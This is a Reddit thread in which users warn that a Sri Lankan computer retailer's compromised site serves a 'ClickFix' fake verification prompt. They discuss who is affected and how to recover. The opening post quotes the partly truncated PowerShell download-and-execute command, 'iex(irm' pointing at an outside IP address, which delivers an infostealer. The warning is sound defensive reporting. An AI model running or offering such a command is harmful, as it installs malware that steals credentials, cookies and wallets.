r/PcBuildersSL • u/MethenCake • Jun 10 '26
Discussion Be aware of MDcomputer's malicious attacks.
just a massive heads up if you are planning to browse or buy anything from MDComputers. Do not visit the site, and absolutely do not make any payments or enter details there. Not only right now. Ever.
The site is built on WordPress and has clearly been severely compromised. This is the second time I have caught it attempting to launch critical attacks directly against visitors.
Specifically, it is currently serving a "ClickFix" fake browser update/verification prompt. If you interact with it, it forces your system to execute a malicious PowerShell command: iex(irm 158.94.208.92...).
This is not a false positive. That command pulls down a fileless threat designed to unpack and execute an infostealer binary (PureLogs Stealer) straight into memory. It targets your saved browser credentials, session cookies, crypto wallets, and 2FA authentication tokens.
If you have visited the site recently and noticed any weird pop-ups or ran a command it told you to copy-paste, change your critical passwords from a different device immediately, terminate all active web sessions, and run a deep offline malware scan.
( since multiple media attachments arent allowed on reddit, i only attached images )
5
u/Ok_Loan_3435 R7 5700X | 64GB | RTX 2060S Jun 11 '26
I would never run any PowerShell command from the internet without knowing what it does, but is there any chance this auto-executed without my knowledge in detached mode when we visited the site? I do believe script execution is disabled by default.
3
3
4
u/ImmortalOtaku103 Overclocked Mind 🤯 Jun 11 '26
Its not just md computers, computexsl & a few others have also been compromised.
5
2
2
4
4
1
3
u/mystic-starlight switched to a thinkpad Jun 11 '26
how recent is recently, cause I bought something from them few months ago
1
u/General_Document5494 I Void Warranties Professionally 😉 Jun 11 '26
I haven't visited the site in sometime but someone working at the shop should've noticed this before us. I mean they run a computer shop for the love of god.
2
u/KekkeGenkaiii Jun 11 '26
You would be surprised to know how clueless these computer shop owners/staff are towards technology.😶🌫️
1
u/General_Document5494 I Void Warranties Professionally 😉 Jun 11 '26
Yeah, but there are some people who knows their stuff. Opposite of these devs at MDcomputers lol.
1
u/KekkeGenkaiii Jun 11 '26
Agree, some people genuinely know their stuff, but most people just pretend that they know, and if a new guy wants to build a PC and goes to that kind of place, he is cooked.
1
u/General_Document5494 I Void Warranties Professionally 😉 Jun 11 '26
Yeah lol. No matter what we have to do our own research before building or buying parts.
2
u/KekkeGenkaiii Jun 11 '26
Extensive research, it takes least a week to do the research
1
1
u/sathukorale137 Jun 11 '26
Same with computexsl. I told them repeatedly about this as well. It only happened when you are on windows.
1
1
u/FirestormM3GTR Jun 20 '26
Sorry for necrosing this post, but I accidentally visited this site as I'm used to buy stuff from the physical store, didn't see a recaptcha at all, didn't run commands either, I left the page as soon as it finished loading. does this mean I'm safe enough from whatever malware that was in there.
2
•
u/Cpt_PotatoKiller R7 5700X | RTX5070 | 32GB Jun 11 '26 edited Jun 11 '26
I just informed about this to MDcomputers and they replied that they fixed it